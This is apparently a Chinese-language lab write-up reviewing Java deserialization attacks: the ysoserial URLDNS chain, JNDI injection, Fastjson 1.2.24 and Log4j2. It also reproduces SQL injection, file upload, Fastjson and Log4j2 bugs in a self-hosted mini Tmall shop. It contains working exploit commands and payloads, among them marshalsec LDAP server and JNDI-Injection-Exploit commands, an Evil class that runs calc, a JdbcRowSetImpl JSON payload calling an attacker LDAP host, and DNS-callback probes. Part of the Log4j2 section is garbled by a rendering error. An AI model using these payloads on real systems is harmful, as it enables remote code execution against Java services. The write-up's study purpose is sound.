1、分析研究java反序列化漏dong原理并了解URLDNS链触发过程

在Java中,序列化/反序列化操作主要由 java.io.ObjectOutputStream.writeObject(Object) 方法和
java.io.ObjectInputStream.readObject()方法实现;
在实际开发中,更多是通过实现Serializable接口并重写readObject()方法对自定义类对象进行反序列化,以完成更多操作。



嗯实验代码如下:

再获取一个domain

进入ysoserial程序目录下,利用命令生成data.ser文件
bash
java --add-opens java.base/java.net=ALL-UNNAMED -jar ysoserial.jar URLDNS "http://ef9ee9ae.log.dnslog.pp.ua." > data.ser
把data.ser放到项目代码目录,然后运行代码,读取data.ser并反序列化。看到dnslog回显,如下图

2、JNDI注入漏dong原理分析复习

我们来看一下ldap的

先打开jndi,启动JNDI-Injection-Exploit

bash
java -jar NDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
原代码如下:



修改一下client.java的uri的赋值,也是基于lookup()方法可控,运行弹出计算器

3、Fastjson 反序列化漏dong复习
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏dong到至今,有着多次的安全补丁更新和绕过。
Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是toJSONString( ),parse( )和parseObject( )。
当parse进行反序列化时,如果json字符串中有 *@type * ,会自动执行指定类中相对应属性的setter方法,并且会转换为 *@type * 指定类的类型
而parseObject进行反序列化时如果json字符串中有 *@type * ,会自动执行指定类的setter和getter方法,并且转换为 *JSONObject* 类

经过安全研究人员分析,目前主要存在三种利用方式:JNDI注入、TemplatesImpl 加载字节码、BCEL加载字节码。fastjson反序列化漏dong前后经过官方修复,又不断的被研究人员绕过,导致多个版本存在漏dong,但是最初版本1.2.24最为经典,这里以JNDI注入为例深入分析利用过程。


试试啊。首先受害者这里需要一个恶意类如下
java
import java.io.IOException;
public class Evil {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
javac编译此类,我们全程用jdk1.8,这是fastjson漏dong的基本
在编译后得到的.class文件的存放目录创建一个http服务器python -m http.server 8000,此时访问该机ip的8000端口,即可看到Evil.class文件
接着在gong击机启动一个恶意的lDAP服务器,如下
bash
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.40.129:8000/#Evil 1099
接着构建恶意json,其中localhost替换为监听1099端口的ip,就是gong击方的ip
受害者引入fastjson
使用JSON.parseObject()函数将json文本转Java对象,且函数内的json文本内容可控,给该函数传入我们的恶意json,如下
java
import com.alibaba.fastjson.JSON;
public class Main {
public static void main(String[] args) {
String text = "{\n" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"ldap://192.168.31.156:1099/Evil\",\n" +
"\"autoCommit\":true\n" +
"}";
JSON.parseObject(text);
}
}
执行此代码就会在受害者方弹出计算器

方式二:gong击方利用其它小工具,如下图

修改main中的json文本的dataSourceName的值,执行也会弹出计算器

4、log4j2 jndi注入漏dong复习
Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。

略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,当日志信息中出现 "KaTeX parse error: Expected '}', got 'EOF' at end of input: ...主要作用就是提取出日志信息中的{}信息,并根据内容调用。最终在JndiLookup.java中触发漏dong

5、搭建迷你天猫商城并复现fastjson、log4j2组件漏dong和sql注入和文件上传漏dong
首先搭建商城,如下图

项目中使用了mybatis那么全局搜索${

去UserMapper.xml,步步深入看到admin/user/{index}/{count}接口和String类型orderBy,基本上确定了sql注入 ,验证一下

文件上传 啊,直接搜素关键字
去第一个文件,这是上传用户头像无限制和校验,那么直接去上传其它测试,比如jsp和exe成功


fastjson啊 ,搜索json.parse

去第一个,审计代码得知这是购物车结算生成订单时的状态

那访问购物车并点击"去结算",抓包得到相关参数

修改orderItemMap字段值,添加{"@type":"java.net.Inet4Address","val":"zyzbdqgb.dns.adysec.com"},点击发送,访问NDSLog地址,也可以看到获取到回显信息。

log4j2啊
搜索关键字logger.info,还是去这个文件上传,这是用户头像上传接口

logger.info里是文件名赋值,那么我们修改文件名为gong击语句,便可触发log4j2漏dong。我们先启动监听

接下来找到用户头像修改的地方,上传图片,抓包修改文件名为gong击语句,点击发送,即可弹出计算器
